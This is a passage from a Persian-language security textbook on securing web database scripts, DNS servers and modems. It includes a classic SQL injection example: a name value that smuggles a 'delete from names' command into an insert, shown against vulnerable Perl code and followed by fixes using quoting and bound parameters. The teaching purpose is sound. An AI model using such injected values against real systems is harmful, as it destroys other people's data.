بجای ذخیره‌کردن نام کاربری و رمز عبور پایگاه داده در قطعه‌برنامه، یک روش بهتر این است که این اطلاعات را روی یک فایل در سرویس‌دهندهٔ وب ذخیره کنیم. اینکار باعث می‌شود اطلاعات لازم برای تصدیق هویت از قطعه‌برنامه‌ای که به پایگاه داده query می‌فرستد مجزا شود، و بدین ترتیب امنیت سیستم و نیز قابلیت پشتیبانی از آن افزایش می‌یابد. در این روش، قطعه‌برنامه در سرویس‌دهنده این فایل را باز می‌کند، نام کاربری و رمز عبور را می‌خواند، و سپس درخواست خود را به پایگاه داده می‌فرستد.

به یاد داشته باشید که اگر سرویس‌دهندهٔ پایگاه داده و سرویس‌دهندهٔ وب هردو روی یک رایانه بعنوان میزبان قرار نداشته باشند، آن نامهای کاربری و رمزهای عبور از طریق شبکه میان میزبانها تبادل خواهند شد. در اینصورت باید از پایگاه داده‌ای استفاده کنید که بتواند اتصالات خارجی را بصورت رمزشده و یا نوع دیگری از تصدیق هویت بپذیرد تا در آن نامهای کاربری و رمزهای عبور بصورت متن‌ساده منتقل نشوند.

برای نمایش مستقیم محتویات پایگاه داده از غربال‌سازی و گیومه‌گذاری استفاده کنید

همانطور که پیشتر ذکر شد، بسیار مهم است که همهٔ اطلاعاتی که از طرف کاربران وارد می‌شود غربال شوند تا مطمئن شویم که در آنها تنها کاراکترهای مجاز وجود دارد. هنگام کار با سرویس‌دهنده‌های SQL، بررسی داده‌های ورودی کاربران پیش از فرستادن آنها به سرویس‌دهنده اهمیت مضاعفی پیدا می‌کند. دلیل این مسئله این است که باید جلوی ایجاد دستورات دلخواه SQL توسط کاربران و ارسال آنها به سرویس‌دهنده‌های SQL گرفته شود.

بعنوان مثال اگر یک فرم وب داشته باشید که از کاربر نام او را بپرسد و سپس این اطلاعات را در پایگاه داده ذخیره کند، قابل پیش‌بینی است که قطعه‌برنامه‌ای که اینکار را انجام می‌دهد به احتمال زیاد نام این فرد را از یک فیلد خواهد گرفت، آنرا در یک متغیر مثل $name ذخیره خواهد کرد، و سپس با استفاده از این متغیر یک دستور SQL خواهد ساخت. به این قطعه‌برنامهٔ perl توجه کنید:

```
$name = param('name');
sql_send("insert into names (name) value ('$name');");
```

متأسفانه این روش چندان ایمن نیست، چراکه اگر کسی با ساختار برنامهٔ شما آشنایی داشته باشد، می‌تواند ورودی خاصی را بعنوان نام وارد فیلد مربوطه کند که باعث شود یک فرمان SQL به خواست او به اجرا درآید. این نام را در نظر بگیرید:

```
John Smith')"; delete from names;
```

زمانیکه برای ساختن دستور SQL از این نام استفاده شود، رشتهٔ حاصله در حقیقت بعنوان سه دستور تفسیر خواهد شد: اول دستور درج در پایگاه داده، دوم دستوری که منجر به حذف همهٔ داده‌ها در جدول names می‌شود، و سوم دستوری که حاوی یک اشتباه گرامری است:

```
Insert into names (name) value ('John Smith')"; delete from names; ');
```

بیشتر سرویس‌دهنده‌های SQL درصورت دریافت چنین متنی بعنوان ورودی، یک قلم داده را وارد جدول names می‌کنند، سپس تمام داده‌های آن جدول را پاک می‌نمایند، و پس از آن یک خطای SQL گزارش می‌دهند.

روش محافظت قطعه‌برنامه‌ها از این دسته از حملات این است که مطمئن شوید اولاً داده‌های ورودی را به دقت غربال می‌کنید، ثانیاً تمام اطلاعات غربال‌شده را پیش از فرستادن به سرویس‌دهندهٔ SQL به نحو مناسبی *گیومه‌گذاری*[۲۳۳] می‌نمایید.

بهترین روش برای گیومه‌گذاری استفاده از یک تابع است که همواره هنگام فرستاده‌شدن هر رشته به سرویس‌دهندهٔ SQL بصورت مجزا فراخوانی شود. اگر شما از زبان perl و یک بستهٔ نرم‌افزاری DBI استفاده کنید، بیشتر گرداننده‌های پایگاه داده یک روش گیومه‌گذاری ارائه می‌کنند که می‌تواند اینکار را برای شما انجام دهد و شما می‌توانید از آن بصورت زیر استفاده کنید:

```
# $dbh is a DBI object that represents a handle to an open database connection
$qname = $dbh->quote(param('name'));
$dbh->do("insert into name (name) value($qname)");
```

روش دیگر آن است که queryهای SQL را با استفاده از binding متغیرها، پیش‌ترجمه نمایید. این روش شما را قادر می‌کند که بتوانید queryهای SQL را بجای متغیرهای حقیقی با جایگاههای آن متغییرها ترجمه نمایید. برای نمونه، در مثال قبل می‌توان query را با استفاده از یک واسط فرضی SQL انجام داد که از علامت @ بعنوان جایگاه متغیرها استفاده می‌کند:

```
$func = sql_compile("insert into name (name) value (@)");
```

حال شما می‌توانید اینکار را با یک تابع دیگر نیز انجام دهید:

```
$name = param('name');
sql_bind($func,1,$name); # bind the variable name to the first variable
sql_exec($func); # execute the bound function
```

اگر از بستهٔ نرم‌افزاری DBI استفاده می‌کنید، معمولاً می‌توانید این تابع را بصورت زیر بنویسید:

```
# Insertion example
$name = param('name');
$dbh->do("insert into name (name) value (?)", undef, $name);
# Selection example
$sth = $dbh->prepare("select * from name where id = ?");
$sth->execute($name);
```

سیستمهای مختلف، گرامر دستورات و واسطهای برنامه‌ای متفاوتی برای ترجمه، binding، و اجرای queryهای SQL دارند.

233 *Quoting*

به‌روزرسانی محتوا

کاربران شما چگونه محتویات سرویس‌دهندهٔ وب را به‌روز می‌کنند؟ در اولین روزهایی که شبکهٔ جهانی وب آغاز به کار کرده بود بیشتر محتواها توسط برنامه‌نویسان و توسعه‌دهندگان و بوسیلهٔ پردازشگرهای متن و یا HTML بصورت مستقیم روی سرویس‌دهنده‌های وب بوجود می‌آمدند؛ اما امروزه بیشتر محتواها روی رایانه‌های شخصی و Macها ایجاد و سپس روی سرویس‌دهندهٔ وب upload می‌شوند. این upload در حقیقت یک عملیات انتقال فایل است و به همین دلیل هم می‌تواند مورد استراق‌سمع قرار بگیرد. همانطور که پیشتر بحث شد، کاربران باید ملزم شوند که از یک سیستم انتقال فایل ایمن نظیر scp، WebDAV روی SSL، و یا برنامه‌های ناامن انتقال فایل روی یک شبکهٔ خصوصی مجازی استفاده کنند. در برخی موارد ممکن است انتقال فیزیکی برنامه‌ها از طریق وسایلی همچون دیسکهای floppy و یا دیسکهای فشرده ترجیح داشته باشد.

ایمن‌سازی سرویس‌دهنده‌های پایگاه داده

اگر شما در سمت سرویس‌دهندهٔ وب خود از یک پایگاه داده استفاده می‌کنید، حفاظت از خود پایگاه داده هم ضروری است؛ و چنانچه این پایگاه داده هم روی همان میزبانی به اجرا درآمده که سرویس‌دهندهٔ وب روی آن است، آن پایگاه نباید دسترسی شبکه‌ای داشته باشد. اگر سرویس‌دهندهٔ پایگاه داده روی یک میزبان مجزا به اجرا درآمده است ملاحظات زیر را مدنظر قرار دهید:

- آرایش هندسی شبکه و دیوارهٔ آتش خود را بگونه‌ای تنظیم کنید که دسترسی به سرویس‌دهندهٔ پایگاه داده برای افراد خارج از سازمان ناممکن باشد. برای اینکار می‌توانید روی سرویس‌دهندهٔ وب از دو کارت شبکه استفاده نمایید: یکی برای اتصال به اینترنت و دیگری برای اتصال به یک دیوارهٔ آتش کوچک که می‌تواند به سرویس‌دهندهٔ پایگاه داده متصل گردد. این دیوارهٔ آتش باید بگونه‌ای پیکربندی شده باشد که تنها queryهای پایگاه داده بتوانند میان سرویس‌دهندهٔ وب و سرویس‌دهندهٔ پایگاه داده تبادل شوند.
- مطمئن شوید که حسابهای کاربری سرویس‌دهندهٔ پایگاه داده برای ورود کاربران مسدود است. غیر از برنامه‌هایی که از پایگاه داده استفاده می‌کنند، تنها کسانی که باید بتوانند به این سیستم وارد شوند عبارتند از راهبران سیستم و راهبران پایگاه داده.
- مطمئن شوید که سرویس‌دهندهٔ پایگاه داده مورد حفاظت فیزیکی قرار دارد، از آن نسخه‌های پشتیبان تهیه می‌شود، و مشابه سایر سرویس‌دهنده‌های ایمن از پشتیبانی لازم برخوردار است.

حفاظت از خود پایگاه داده نیز ضروری است. هنگام تعریف کاربران پایگاه داده و امتیازات دسترسی آنها اصلِ حداقل دسترسی را رعایت کنید. اگر یک قطعه‌برنامهٔ CGI فقط به دسترسی خواندن از تنها یک جدول پایگاه داده نیاز دارد، یک حساب کاربری با دسترسی محدودشده به آنچه نیاز است تعریف کنید و قطعه‌برنامه را از طریق آن حساب کاربری به پایگاه داده متصل نمایید. برخی از نرم‌افزارهای پایگاه داده این امکان را فراهم می‌کنند که بتوانید مجوزهای بسیار جزئی به کاربران بدهید. در بعضی موارد حتی می‌توانید دسترسی به ستونها و یا سطرهای مورد نظرتان در یک جدول را برای یک حساب کاربری، مجاز یا غیرمجاز بدانید، یا بر حسب محل یا نحوهٔ اتصال به پایگاه داده، دسترسیهای متفاوتی برای کاربران تعریف کنید. توصیه می‌شود از این قابلیتهای حفاظتی بهره ببرید.

ایمن‌سازی سرویس‌دهنده‌های نام

سازمانها برای تبدیل دقیق نام میزبان به آدرس IP (و آدرس IP به نام میزبان و نیز نام میزبان به نام میزبان) سایر سرویس‌دهنده‌های روی اینترنت، به سرویس‌دهنده‌های نام دامنه (DNSهای) خود متکی هستند. از آنجا که هر دامنه در اینترنت باید یک سرویس‌دهندهٔ معتبر نام داشته باشد، و به این دلیل که برای قابل استفاده بودن این سرویس‌دهنده‌های نام، آدرس آنها باید عمومی باشد، DNSها یک نقطهٔ مناسبِ حمله برای مهاجم محسوب می‌شوند. بسیاری از برنامه‌های کاربردی در فهرستهای کنترل دسترسی خود از نام

میزبان استفاده می‌کنند، و لذا مهاجمی که بتواند کنترل DNS را در اختیار خود درآورد و یا محتویات آنرا مخدوش نماید، معمولاً خواهد توانست از آن بعنوان یک گام مؤثر جهت نفوذ به سیستم شما استفاده کند.

بجز تبدیل نامهای انفرادی میزبانها، DNS همچنین سیستمی برای download یک نسخه از تمام پایگاه دادهٔ سرویس‌دهندهٔ نام ارائه می‌کند. این فرآیند *انتقال ناحیه*[۲۳۴] نام دارد و همان فرآیندی است که سرویس‌دهنده‌های ثانویه از آن استفاده می‌کنند تا یک نسخه از پایگاه دادهٔ سرویس‌دهندهٔ اصلی را بدست آورند.

پروتکل برقراری ارتباط DNS هم می‌تواند UDP باشد و هم TCP. از آنجا که UDP یک پروتکل سریع و مبتنی بر بسته‌های اطلاعاتی است که میزان محدودی از اطلاعات را انتقال می‌دهد، معمولاً برای فرآیند واقعی تبدیل نام میزبان مورد استفاده قرار می‌گیرد. سیستم TCP نیز غالباً در برنامه‌هایی استفاده می‌شود که به تبادل داده‌های زیاد، قابل اطمینان و پایدار نیاز دارند – که همان انتقالهای ناحیه می‌باشد. علاوه بر این، queryهای منفرد هم می‌توانند از TCP استفاده کنند.

انتقالهای ناحیه در DNS

انتقال ناحیه می‌تواند یک مخاطرهٔ امنیتی محسوب شود، چراکه می‌تواند فهرست کاملی از همهٔ رایانه‌های متصل به شبکهٔ داخلی سازمان را به یک کاربر خارجی ارائه کند. بسیاری از پایگاهها به بسته‌های DNS که از پروتکل UDP استفاده می‌کنند اجازهٔ عبور از دیواره‌های آتش و مسیریابها را می‌دهند، اما صریحاً انتقال ناحیه DNS که منبع آن یک پایگاه خارجی باشد را مسدود می‌نمایند. این طراحی، انتخابی میان ایمنی و قابلیت استفاده است؛ چون در آن کاربران خارجی قادر خواهند بود آدرس IP هر رایانهٔ داخلی را بیابند، اما تنها درصورتیکه نام آن رایانه را از قبل داشته باشند.

با استفاده از یک مسیریاب که بتواند بسته‌ها را با مسدود کردن اتصالات TCP روی پورت ۵۳ غربال کند می‌توانید جلوی انتقالهای ناحیه را بگیرید.[۲۳۵] در نسخه‌های جدید سرویس‌دهندهٔ نامِ BIND، یک روالِ به نام "allow-transfers" پیاده‌سازی شده که شما را قادر می‌کند بتوانید آدرسهای IP میزبانهایی که مجاز به انتقال ناحیه هستند را مشخص کنید. این قابلیت هنگامی بکار می‌آید که بخواهید به سرویس‌دهنده‌های ثانویه که درون سازمان شما نیستند مجوز انتقال دامنه بدهید، اما نمی‌خواهید سایرین از چنین قابلیتی برخوردار باشند.

حملات نام دامنهٔ DNS

سه راه عمده وجود دارد که مهاجم با استفاده از آنها می‌تواند کاری کند که سرویس‌دهندهٔ نام، اطلاعات ناصحیح ارائه کند:

بارگذاری اطلاعات گمراه‌کننده

اطلاعات نادرست می‌تواند روی حافظهٔ نهان سرویس‌دهندهٔ نام شبکه بارگذاری شده و باعث شود که یک query پاسخی ناصحیح دریافت کند. این مسئله معمولاً به *آلوده‌کردن حافظهٔ نهان*[۲۳۶] شهرت دارد. اگر سرویس‌دهندهٔ نام شما با شبکه‌های بیرونی هم در تماس است، این امکان وجود دارد که مهاجمان بتوانند با بهره‌برداری از یک نقص برنامه‌ای و یا اشکال پیکربندی، روی سرویس‌دهندهٔ نام شما اطلاعات گمراه‌کننده بارگذاری کنند. بهترین روش حفاظت از سرویس‌دهندهٔ نام در مقابل این قبیل حملات، جداسازی آن از شبکهٔ خارجی است، تا میان آنها ارتباطی برقرار نشود. اگر از یک دیوارهٔ آتش استفاده می‌کنید، می‌توانید این جداسازی را با اجرای دو سرویس‌دهندهٔ نام انجام دهید: یکی در جلوی دیوارهٔ آتش، و دیگری در پشت آن. سرویس‌دهندهٔ نامی که جلوی دیوارهٔ آتش قرار دارد تنها حاوی نامها و آدرسهای IP رایانهٔ دروازهٔ شما است؛ و سرویس‌دهندهٔ نامی که پشت دیوارهٔ آتش است حاوی نامها و آدرسهای IP تمام میزبانهای داخلی شما. چنانچه این سرویس‌دهنده‌ها را به جداول مسیریابی ایستا نیز مجهز

234 Zone Transfer

۲۳۵ در موارد بسیار نادر، انجام اینکار می‌تواند منجر به مسدود شدن queryهای DNS که مجاز به استفاده از TCP هستند نیز بشود.

236 Cache Poisoning

نمایید اطلاعات مخرب امکان راه‌یافتن به سرویس‌دهده‌های نام را پیدا نخواهند کرد. (البته مطمئناً بسته به اینکه شما چگونه دیوارهٔ آتش خود را ساخته و پیکربندی کرده‌اید و اینکه به کاربران اجازهٔ انجام چه کارهایی روی شبکه داده‌اید، ممکن است این راه‌حل چندان برای شما کارگشا نباشد!)

تغییر فایلهای پیکربندی

مهاجم می‌تواند فایلهای پیکربندی سرویس‌دهندهٔ نام را روی میزبان آن تغییر دهد. برای تغییر فایلهای پیکربندی، مهاجم باید به سیستم فایل رایانه‌ای که سرویس‌دهندهٔ نام روی آن درحال اجرا است دسترسی پیدا کند و قادر باشد فایلهای آنرا دستکاری نماید. پس از آنکه فایلها دستکاری شدند، سرویس‌دهندهٔ نام باید راه‌اندازی مجدد گردد. از آنجا که سرویس‌دهندهٔ نام معمولاً باید با حساب کاربری ابرکاربر آغاز شود، مهاجم مجبور خواهد بود به رایانهٔ سرویس‌دهنده دسترسی ابرکاربر داشته باشد تا بتواند این نوع تهاجم را انجام دهد. متأسفانه چنانچه یک مهاجمِ بامهارت کنترل سرویس‌دهندهٔ نام شما را در اختیار داشته باشد، می‌تواند از این مسئله بعنوان یک گام مؤثر جهت در اختیار گرفتن کنترل کل شبکه استفاده نماید. از این گذشته اگر مهاجم دسترسی ابرکاربر هم نداشته باشد اما بتواند فایلهای سرویس‌دهندهٔ نام را دستکاری کند، کافی است تا راه‌اندازی بعدی سرویس‌دهندهٔ نام توسط یک فرد مجاز، و یا خرابی سیستم و راه‌اندازی مجدد همهٔ برنامه‌ها صبر کند تا تغییرات داده‌شده اثرگذار شوند.

استفاده از DNS پویا

سرویس‌دهنده‌های جدید DNS قابلیتهایی برای به‌روزرسانی پویای جداول DNS دارند. این قابلیتها هنگامی بکار می‌آیند که آدرسهای IP بصورت پویا تخصیص داده می‌شوند و یا میان افراد زیادی به‌اشتراک گذاشته شده‌اند. DNS پویا باعث می‌شود بدون upload کردن دستی یک فایل متنیِ دامنه و راه‌اندازی مجدد سرویس‌دهنده بتوان جداول سرویس‌دهندهٔ DNS درحال اجرا را به‌روزرسانی کرد. اما در عین حال مهاجم می‌تواند از این قابلیت برای انجام به‌روزرسانیهای مخرب نیز استفاده کند.

برای ایمن بودن، به‌روزرسانیهای پویای DNSها باید بدرستی تصدیق هویت شوند. در غیراینصورت مهاجم بسادگی با تغییر نگاشت میان نامهای دامنه و آدرسهای IP رایانه‌ها می‌تواند شبکهٔ شما را مورد تهاجم قرار دهد. بسیاری از سرویس‌دهنده‌های DNS پویا تصدیق هویت را بر اساس آدرس IP و با استفاده از یک کلید مشترک و یا استفاده از به‌روزرسانیهایی که طبق یک الگوریتم کلید عمومی به امضا رسیده‌اند انجام می‌دهند (در این روشها تنها آدرسهای IP خاصی مجاز به ارائه به‌روزرسانیها هستند). در حالت کلی ادغام آدرس IP منبع به‌روزرسانی با یکی از این دو روش رمزنگاری می‌تواند سطح امنیت بالاتری بوجود آورد.

اگر قابلیت DNS پویا بدرستی پیاده‌سازی نشده باشد و شما آنرا فعال کنید، مهاجم می‌تواند از آن استفاده کند و دسترسیِ ایجاد تغییر در سرویس‌دهنده را بدست آورد. بسیاری از سرویس‌دهنده‌های نام دامنه از حملات متوالیِ تغییرِ بدخواهانهٔ DNS پویا رنج می‌برند.

DNSSEC

DNSSEC (RFP شمارهٔ ۲۵۳۵ و ۳۱۳۰) یک گونهٔ توسعه‌یافتهٔ DNS است که یک زیرساخت کلید عمومی مبتنی بر DNS و قابلیت استفاده از آن برای امضای پاسخهای DNS را فراهم می‌کند. DNSSEC یک پروتکل پرطرفدار است. طرفداران این پروتکل بر این باورند که استفاده از آن روش ساده‌ای برای کاربرد PKI است که به گواهی‌های گرانقیمت که بوسیلهٔ مراکز صدور گواهی متمرکز فروخته می‌شوند وابستگی ندارد. متأسفانه بعلت طبیعت شهرت‌طلب DNSSEC و این مسئله که کاربرد آن در محیطهای تجاری دارای سودآوری چندانی نیست، برای استفاده از آن در سطح وسیع تلاش بسیار کمی شده است.

با بکار بستن توصیه‌های زیر می‌توانید احتمال دستکاری سرویس‌دهنده‌های نام توسط مهاجمان را کاهش دهید:

- سرویس‌دهندهٔ نام خود را روی رایانه‌ای به اجرا درآورید که که فاقد حسابهای کاربری باشد.
- چنانچه مجبور هستید سرویس‌دهندهٔ نام خود را روی رایانه‌ای اجرا کنید که مورد استفادهٔ کاربران معمولی است، مطمئن شوید که فایلها و شاخه‌های سرویس‌دهنده‌های نام از دسترسی کاربران محافظت می‌شوند. درصورتیکه سرویس‌دهندهٔ نام شما

می‌تواند طوری تنظیم شود که با یک حساب کاربری فاقد امتیاز دسترسی به اجرا در آید (مثل نسخه‌های جدید BIND)، باید از این قابلیت استفاده کنید و فایلهای سرویس‌دهندهٔ نام را تنها برای آن کاربر قابل دسترسی نمایید.

- اگر سرویس‌دهندهٔ نام شما می‌تواند در یک محیط محدودشدهٔ chroot jail سیستم فایل اجرا شود (مثل نسخه‌های جدید BIND)، می‌توانید از این گزینه برای محدود کردن دسترسیِ آن به دیگر فایلهای آن میزبان استفاده کنید.
- سرویس‌دهندهٔ نام خود را بگونه‌ای پیکربندی کنید که درخواستهای ارسالی از محدودهٔ آدرسهای IP جعلی را رد کند.[۲۳۷] در سیستم BIND، دستور blackhole در فایل named.conf می‌تواند برای این منظور بکار آید.
- سرویس‌دهندهٔ نام خود را طوری پیکربندی کنید که برای کاربران خارجی، queryهای بازگشتی و تکرارشوندهٔ DNS را به اجرا در نیاورد. اگر سرویس‌دهندهٔ شما در مورد یک تقاضا نتواند اطلاعات مورد نیاز سرویس‌گیرنده را بیابد، آن سرویس‌گیرنده خود queryهای لازم برای تبدیل نام مورد نظر را صادر می‌کند، اما queryهای بازگشتی منابع سرویس‌دهندهٔ نام را بکار می‌گیرند و لذا نباید برای کاربران خارجی مورد استفاده قرار گیرند. در سیستم BIND، دستور allow-recurtion می‌تواند بررسی کند که کدام سرویس‌گیرنده می‌تواند queryهای بازگشتی صادر کند.
- اگر پایگاه خاصی را می‌شناسید که سعی دارد به سرویس‌دهندهٔ نام شما حمله کند، می‌توانید برای جلوگیری از فرستاده شدن نتایج queryهای سرویس‌دهندهٔ نام به آن از دستور bogsns سیستم BIND استفاده کنید و یا نام آن پایگاه را به فهرست سیاه دیوارهٔ آتش خود بیفزایید.
- چنانچه قابلیتهای به‌روزرسانی DNS پویا را بکار می‌گیرید، رمزگذاری صحیح به‌روزرسانیها و یا امضای رمزنگاری‌شدهٔ آنها را الزامی کنید و هرگز برای تصدیق هویت به آدرسهای IP متکی نباشید.

۲۳۷ *مثلاً چنانچه زیرشبکهٔ شما از آدرس 10.0.0.8/ استفاده نکند، این آدرس در حیطهٔ شبکهٔ شما یک آدرس جعلی خواهد بود.*

فصل هفتم
امنیت شبکه

کلیات

رایانه‌های بسیار کمی بعنوان ایستگاههای کاری مستقل بکار می‌روند و بیشتر رایانه‌ها از طریق مودم، شبکه‌ها، و یا ارتباطات بی‌سیم به دیگر رایانه‌ها متصل هستند. این فصل مسائل امنیتی را برای راهبرانی که رایانه‌ها را برای اتصال به شبکه‌ها پیکربندی می‌کنند مورد بحث قرار می‌دهد. در این فصل ابتدا نحوهٔ اتصال رایانه به شبکه را با استفاده از مودمها، مسیریابها، و ابزار بی‌سیم و با توجه ویژه به مسائل امنیتی هریک از آنها مورد مطالعه قرار می‌دهیم، و سپس به اصول امنیت شبکه در شبکه‌های TCP/IP – پروتکل غالب شبکه در شبکه‌های محلی و نیز اینترنت – می‌پردازیم.

مودم

در مرحلهٔ فعلی از رشد جهانی اینترنت، هنوز دلایل زیادی برای توجه به امنیت مودمها و خدمات تلفنی مرتبط وجود دارد. از آنجا که راه‌اندازی خدمات تلفنی ساده و نگهداری از آن نیز کم‌هزینه است، بسیاری از این خدمات همچنان مورد استفاده قرار دارند؛ آنچنان که برخی از آنها به مدت یک دهه یا حتی بیش از آن درحال کار هستند. به همین دلیل حتی با وجود دسترسی وسیع به شبکه‌های محلی و اتصالات پرسرعت، ممکن است دلایل قانع‌کنندهٔ زیادی وجود داشته باشد که شما را به راه‌اندازی یک شبکه با اتصالات مبتنی بر مودم هدایت کند. اگر کارکنان سازمان شما بخواهند در منزل پس از ساعت اداری و یا در تعطیلات آخر هفته از رایانهٔ محل کار خود استفاده کنند، بکار بردن یک مودم می‌تواند این امکان را برایشان فراهم سازد. از این طریق راهبران هم می‌توانند با برقراری تماس تلفنی با شبکهٔ مورد نظر، آنرا از راه دور پشتیبانی و راهبری کنند. در اینحالت وقتی یکی از کارکنان مثلاً به یک روستا هم سفر کند، می‌تواند با استفاده از مودم به رایانهٔ محل کار خود دسترسی داشته باشد؛ خصوصاً زمانیکه خدمات اینترنتی در سطح ملی هنوز ارائه نشده و یا اگر هم ارائه شده، ایمن نیست.

علیرغم همهٔ این مزایا، استفاده از مودم مخاطرات فراوانی به همراه دارد. از آنجا که مردم معمولاً برای انتقال نام کاربری و رمز عبور خود از مودم استفاده می‌کنند، باید اطمینان داشته باشید که مودم و برنامهٔ سرویس‌دهندهٔ آن بدرستی نصب شده‌اند، صحیح عمل می‌کنند، و دقیقاً آنچه که شما انتظارِ آنرا دارید انجام می‌دهند. همچنین به این دلیل که خدمات تلفنی می‌توانند با استفاده از یک خط تلفن آنالوگ ساده و یا حتی یک تلفن همراه برقرار شود، یک فرد معمولی فاقد بدون دانش یا مجوز خاص از مدیریت سازمان نیز بسادگی می‌تواند آنرا مورد استفاده قرار دهد.

مودم یک ابزار برای دسترسی از راه دور است که در دههٔ ۱۹۶۰ بوجود آمد، برای بار اول در دههٔ ۱۹۷۰ مورد استفاده قرار گرفت، و در دهه‌های ۱۹۸۰ و ۱۹۹۰ استفاده از آن عمومیت یافت. با این وجود مودمها هنوز هم واجد جایگاه مهمی در چشم‌انداز رایانه‌ای امروز هستند. مهاجمان می‌دانند که با یافتن مودمهایی که بدرستی امن نشده‌اند، می‌توانند به شبکه‌هایی که از سایر جهات مورد محافظت قرار دارند نفوذ نمایند، و به همین دلیل متخصصان امنیت رایانه‌ای باید با نکات امنیتی مودمها آشنا باشند.

امنیت مودمها

استفاده از مودم موجب پدید آمدن مسائل امنیتی می‌شود، چراکه می‌تواند میان رایانهٔ شما و جهان خارج از آن ایجاد ارتباط کند. ممکن است افراد درون سازمان از مودمها برای حذف اطلاعات حیاتی و محرمانه استفاده کنند؛ و افراد خارج از سازمان نیز می‌توانند آنها را برای دسترسی غیرمجاز به رایانهٔ شما بکار گیرند. اگر مودمهای شما قابل تخریب و یا برنامه‌ریزی مجدد باشند، می‌توانند بمنظور گمراه کردن کاربران و افشای رمز عبور آنها بکار روند؛ و دست آخر اینکه ممکن است مهاجمان بتوانند اطلاعات انتقالی از طریق مودم را استراق سمع نمایند.

علیرغم گسترش اینترنت، مودمها هنوز وسیلهٔ بسیار مناسبی برای نفوذ به شبکه‌های شرکتهای بزرگ هستند. دلیل سادهٔ این مسئله این است که هرچند شرکتها ارتباطات شبکه‌ایِ خود را به شدت کنترل می‌کنند، اما معمولاً مودمهای خود را مورد محافظت یا ممیزی قرار نمی‌دهند و این درحالی است که برای به حداکثر رساندن ضریب امنیتی، مودمها باید بصورت ایمن راهبری شوند.

گام اول، حفاظت از خود مودم است. اطمینان حاصل کنید که مودمها از نظر فیزیکی در مکان امنی قرار دارند، بگونه‌ای که دسترسی افراد غیرمجاز به آنها ممکن نیست. هدف از این نوع حفاظت، جلوگیری از دستکاری و تغییر اتصالات مودمها است. با بدست آوردن امتیاز دسترسی مناسب به بعضی از مودمها، می‌توان رمزهای عبور و قطعه‌برنامه‌های کوچک را دستکاری و سپس بارگذاری مجدد کرد، و شما باید بتوانید از وقوع چنین مسائلی جلوگیری نمایید. می‌توانید از گزینه‌های پیکربندی مودم (درصورت وجود) یادداشت بردارید و هر از چندگاه آنها را کنترل کنید تا از دستکاری نشدن آنها مطمئن شوید.

بسیاری از مودمهای امروزی قابلیتی برای پیکربندی و آزمایش از راه دور دارند. این قابلیت باعث می‌شود انجام تغییرات برای کارمندانی که از راه دور، ادارات مختلفی را مدیریت می‌کنند ساده‌تر شود، اما از طرف دیگر سوء استفاده از مودم را برای مهاجم نیز آسانتر می‌نماید. بنابراین مطمئن شوید اگر چنین ویژگیهایی در مودم شما وجود دارند و از آنها استفادهٔ خاصی نمی‌کنید، حتماً غیرفعال شده‌اند.

جنبهٔ مهم دیگری از حفاظت مودمها، حفاظت از شماره‌تلفنهای آنها است. با شماره‌تلفنهای مودمها مانند رمز عبور خود برخورد کنید و آنها را در اختیار کسی جز کسانی که به آن نیاز دارند قرار ندهید. عمومی کردن شماره‌تلفنهای مودمها، احتمال استفادهٔ مهاجمان از آنها برای نفوذ به سیستم شما را افزایش می‌دهد. اگر سیستم تلفنی شما این قابلیت را دارد که شماره‌تلفنهای مودم خود را تغییر دهید، حتماً بصورت سالیانه از این قابلیت استفاده نمایید، و برای مودمها شماره‌هایی درخواست کنید که پیشوند مشترک با شماره تلفنهای عادی سازمانتان ندارند و لذا احتمال حدس زده شدن آنها نیز نازل است.

متأسفانه نمی‌توان شماره‌تلفنهای مودمها را مطلقاً محرمانه نگه داشت، چراکه به هرحال افرادی هستند که باید با آنها تماس بگیرند. از طرف دیگر حتی اگر شدیداً از این شماره‌ها مراقبت کنید، بازهم مهاجمان با گرفتن تمام شماره‌های منطقهٔ شما، خواهند توانست شماره‌های مودمهای شما بیابند. به همین دلیل پنهان‌کاریِ صرف، راه‌حل مناسبی برای رفع این مخاطره نیست و مودمها نیازمند حفاظ محکم‌تری هستند.

Bannerها

Banner پیامی است که وقتی با یک مودم تماس گرفته می‌شود، توسط آن مودم (یا رایانه‌ای که مودم به آن متصل است) به نمایش در می‌آید. برخی از bannerها پیش از اینکه تماس‌گیرنده چیزی تایپ کند نمایش داده می‌شوند؛ و برخی دیگر زمانی به نمایش در می‌آیند که تماس‌گیرنده با موفقیت تصدیق هویت گردد.

Bannerها به تماس‌گیرندگان نشان می‌دهند که به سیستم مورد نظر خود متصل شده‌اند و بدین ترتیب کاربرد سیستم را بهبود می‌بخشند، و همچنین می‌توان در آنها هرگونه هشدار یا ابلاغیه قانونی را نیز قرار داد. اما از طرف دیگر bannerها می‌توانند کار مهاجمان را نیز ساده‌تر کنند، چراکه مهاجمانی که تمام تلفنهای یک منطقه یا شهر را پویش می‌کنند، می‌توانند از روی bannerها تشخیص دهند که شمارهٔ مودم چه سازمانی را پیدا کرده‌اند. بنابراین از آوردن نام سازمان، شماره‌تلفنهای آن، سایر اطلاعات تماس،

و یا هر اطلاعاتی در مورد سیستم‌عامل رایانهٔ مورد استفادهٔ سازمان خود در banner خودداری کنید. همچنین باید از کلماتی که به هر صورت معنای "خوش‌آمدگویی" را به همراه دارند اجتناب کنید، چراکه ممکن است از نظر قانونی بعنوان دعوت از کاربران غیرمجاز بحساب آیند. ذیلاً پیشنهاداتی در مورد آنچه که باید در banner قرار گیرد آمده است:

- اعلام کنید که هرگونه استفادهٔ غیرقانونی از سیستم ممنوع است و ممکن است تحت پیگرد قانونی قرارگیرد. (اعلام نکنید که استفادهٔ غیرقانونی حتماً پیگرد قانونی خواهد داشت. در اینصورت اگر برخی از کاربران غیرمجاز تحت پیگرد قانونی قرار گیرند و برخی قرار نگیرند، آنها که تحت پیگرد قرار گرفته‌اند می‌توانند نسبت به اعمال انتخابی این سیاست علیه خود از شما شکایت کنند.)
- اعلام کنید که تمام کاربران سیستم ممکن است تحت نظارت قرار داشته باشند.
- به کاربران اعلام کنید که با استفاده از سیستم، در حقیقت پذیرفته‌اند که تحت نظارت قرار گرفته باشند و این موضوع از شرایط کار با سیستم است.
- در برخی شرایط بهتر است هیچ banner خوش‌آمدگویی به نمایش در نیاید.

طرحهای امنیتی

